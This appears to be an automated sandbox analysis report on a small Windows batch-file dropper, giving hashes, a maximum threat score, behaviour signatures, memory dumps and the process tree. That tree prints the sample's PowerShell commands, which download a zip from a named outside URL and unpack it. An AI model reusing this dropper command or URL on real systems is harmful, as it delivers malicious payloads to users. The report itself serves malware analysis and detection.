3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1561s
max time network
1566s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (14).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2836	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2836	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2564	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 2836	2952	cmd.exe	29
PID 2952 wrote to memory of 2836	2952	cmd.exe	29
PID 2952 wrote to memory of 2836	2952	cmd.exe	29
PID 2952 wrote to memory of 2564	2952	cmd.exe	30
PID 2952 wrote to memory of 2564	2952	cmd.exe	30
PID 2952 wrote to memory of 2564	2952	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2564

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7765f9a77835d638eb33e1d24b0d077f

SHA1
cb2c4f757a0a85135e3106cb599292a243ef9e43

SHA256
4383a55b32735ec0e812766d9229acd6f1259c54b932b4f8474f6403f4717296

SHA512
305f0675c1aa472a9fac7fa26ecdadbc26236298015c79003265bb03fd7a214b3d3fc021bfdd3c8e614d012b23dc5dbd0ad96d9d8f90a174ae027d85667faf20

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VCSO17JA03M7XKUQZMFA.temp

Filesize
7KB

MD5
7765f9a77835d638eb33e1d24b0d077f

SHA1
cb2c4f757a0a85135e3106cb599292a243ef9e43

SHA256
4383a55b32735ec0e812766d9229acd6f1259c54b932b4f8474f6403f4717296

SHA512
305f0675c1aa472a9fac7fa26ecdadbc26236298015c79003265bb03fd7a214b3d3fc021bfdd3c8e614d012b23dc5dbd0ad96d9d8f90a174ae027d85667faf20

Download Submit
memory/2564-19-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-18-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/2564-25-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-24-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2564-23-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2564-22-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2564-21-0x000007FEF5000000-0x000007FEF599D000-memory.dmp

Filesize
9.6MB

Download
memory/2564-20-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2836-5-0x0000000002590000-0x0000000002598000-memory.dmp

Filesize
32KB

Download
memory/2836-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-4-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2836-6-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-12-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-10-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2836-9-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2836-8-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download